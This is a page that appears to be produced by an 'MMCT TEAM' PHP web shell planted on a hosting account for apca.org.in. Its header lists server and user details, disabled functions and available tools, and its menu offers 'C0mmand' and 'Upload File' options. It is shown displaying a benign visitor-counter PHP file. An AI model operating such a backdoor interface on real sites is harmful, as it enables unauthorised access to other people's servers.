MMCT TEAM
Server IP : 2a02:4780:11:767:0:2c41:85d9:6  /  Your IP : 216.73.217.108
Web Server : LiteSpeed
System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u742491609 ( 742491609)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u742491609/domains/apca.org.in/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u742491609/domains/apca.org.in/public_html/visitor_counter.php
<?php
// Enable error reporting to debug
ini_set('display_errors', 1);
error_reporting(E_ALL);

// Include your database connection file
include('connect/conn.php');

// Define cookie parameters
$cookie_name = "last_visit";
$cookie_time = 86400; // 1 day in seconds (24 hours)

// Check if the cookie exists
if (!isset($_COOKIE[$cookie_name])) {
    // If the cookie doesn't exist, increment the count
    $sql = "SELECT * FROM visitors_count WHERE id = 1";
    $result = $conn->query($sql);

    if ($result->num_rows == 0) {
        // If no record exists, insert one with a count of 1
        $sql_insert = "INSERT INTO visitors_count (count) VALUES (1)";
        if ($conn->query($sql_insert) === TRUE) {
            $visitor_count = 1;  // Set visitor count to 1
        } else {
            die("Error inserting initial record: " . $conn->error);
        }
    } else {
        // If record exists, fetch the current count and increment it
        $row = $result->fetch_assoc();
        $new_count = $row['count'] + 1;

        // Update the count in the database
        $sql_update = "UPDATE visitors_count SET count = $new_count WHERE id = 1";
        if ($conn->query($sql_update) === TRUE) {
            $visitor_count = $new_count;  // Set visitor count to the updated value
        } else {
            die("Error updating visitor count: " . $conn->error);
        }
    }

    // Set the cookie to expire in 1 day (prevents counting again until the next day)
    setcookie($cookie_name, date("Y-m-d"), time() + $cookie_time);
}

// Retrieve the updated count
$sql = "SELECT count FROM visitors_count WHERE id = 1";
$result = $conn->query($sql);
$row = $result->fetch_assoc();
$visitor_count = $row['count'];

// Close connection
$conn->close();
?>

MMCT - 2023